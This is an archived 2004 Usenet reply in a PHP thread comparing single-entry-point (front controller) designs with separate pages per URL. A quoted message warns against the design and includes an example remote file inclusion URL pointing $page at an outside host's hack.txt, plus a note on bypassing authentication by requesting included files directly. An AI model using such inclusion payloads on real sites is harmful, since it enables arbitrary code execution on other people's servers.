Re: Design Model Question
From: Tony Marston (tony_at_NOSPAM.demon.co.uk)
Date: 06/26/04
- Next message: James McIninch: "Re: Session variables in IE"
- Previous message: Michael Austin: "Re: How to set the scroll position inside a frame"
- In reply to: Chung Leong: "Re: Design Model Question"
- Next in thread: Mike Sutton: "Re: Design Model Question"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Date: Sat, 26 Jun 2004 18:22:53 +0100
"Chung Leong" <chernyshevsky@hotmail.com> wrote in message
news:S7KdnSV5iPDyJEHdRVn-jA@comcast.com...
> "Mike Sutton" <sutton128@yahoo.com> wrote in message
> news:7eb017e9.0406251338.35a2900d@posting.google.com...
> >
> > The questions are:
> > Can anyone provide opinions on advantages/disadvantages to each of
> > these models?
> > Can anyone provide the correct terminology to discuss these ideas so
> > that I can look for more, relevant resources.
>
> I was just talking about this in another thread. DON'T USE THE SINGLE
ENTRY
> POINT ARCHITECTURE! It offers no advantages at all, while its
disadvantages
> are numerous. First and foremost, this architecture is one of the leading
> causes of security breach in PHP site. By setting $page to an Internet
> address (http://www.example.net/page=http://128.34.123.34/hack.txt), I can
> run arbitrary code on your server. And I can bypass your authentication
> scheme by simply typing in the address to the file that you're including
> (http://www.example.net/AccountIndex.php).
>
> People who use this kind of scheme, I dare say, don't have a strong
> programming background. Those who have programmed in C/C++ or other
> procedural languages know that you include a file to make additional
> functionalities available, not to cause something to occur. Think about
it,
> when you use require() you're just stating the file is needed by the
current
> script.
>
> The proper way to share code between script is to enclose it in functions,
> keep these in an separate file, include it where it's needed, then call
the
> functions. Or for the sake of convinence, just include it in every
script.
A single entry point architecture is sometimes known as a Front Controller
as every request goes through a single page. I much prefer having a separate
URL for each page as it gives me all the control I need without any of the
security problems. Take a look at
http://www.tonymarston.net/php-mysql/sample-application.html for a
description of a sample application which you can run online. There is also
a link to download all the code.
HTH.
-- Tony Marston http://www.tonymarston.net
- Next message: James McIninch: "Re: Session variables in IE"
- Previous message: Michael Austin: "Re: How to set the scroll position inside a frame"
- In reply to: Chung Leong: "Re: Design Model Question"
- Next in thread: Mike Sutton: "Re: Design Model Question"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Relevant Pages
|
|